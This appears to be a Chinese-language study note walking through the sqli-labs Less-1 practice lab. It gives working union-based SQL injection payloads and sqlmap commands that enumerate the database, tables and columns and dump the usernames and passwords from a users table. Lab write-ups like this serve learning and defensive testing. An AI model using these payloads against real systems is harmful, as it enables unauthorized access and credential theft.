基础知识:
version():查看数据库版本
database():查看使用的数据库
user():查看当前用户
limit: limit子句分批来获取所有数据
group_concat():一次性获取所有的数据库信息
information_schema.tables:包含了数据库里所有的表
table_name:表名
table_schema:数据库名
column_name:字段名
手动:
URL输入?id=1'
发现报错,说明是字符型注入
输入?id=1' and '1' ='1' order by 1/2/3
都没问题,4的时候报错,说明字段数为3
输入?id=-1' union select 1,2,3--+
来查看回显的地方
(百度说id为负数能让前面的语句失效?)
输入?id=-1' union select 1,database(),version()--+
来获取数据库名字及版本信息
输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
成功爆表,怀疑服务器的账号密码在users表上,准备查这张表的字段名
输入?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
成功爆字段,注意到username和password,准备进行查询字段信息
输入?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
成功获取用户名和密码这种重要信息(0x5c是\的十六进制表示,加入在group_concat()中能对账号密码进行分隔)
(不清楚是怎么直接从users中获取数据的,也不清楚为什么不用在users加’’)
sqlmap:
输入sqlmap -u http://192.168.1.198/sqli-labs-master/Less-1/?id=1
软件告诉我们可能有xss漏洞,数据库可能为Mysql
web server operating system: Windows(web服务操作系统为windows)
web application technology: PHP 5.3.28, Apache 2.4.7(后台系统版本)
back-end DBMS: MySQL >= 5.5(服务器操作系统版本)
输入sqlmap -u http://192.168.1.198/sqli-labs-master/Less-1/?id=1 --dbs
找到security数据库,准备开始爆表
输入sqlmap -u http://192.168.1.198/sqli-labs-master/Less-1/?id=1 -D security --tables
发现users表,准备开始爆字段名
输入sqlmap -u http://192.168.1.198/sqli-labs-master/Less-1/?id=1 -D security -T users --columns
发现id、username和password,准备开始爆信息
输入sqlmap -u http://192.168.1.198/sqli-labs-master/Less-1/?id=1 -D security -T users -C"id,username,password" --dump
成功获取id,账号,密码
Comments NOTHING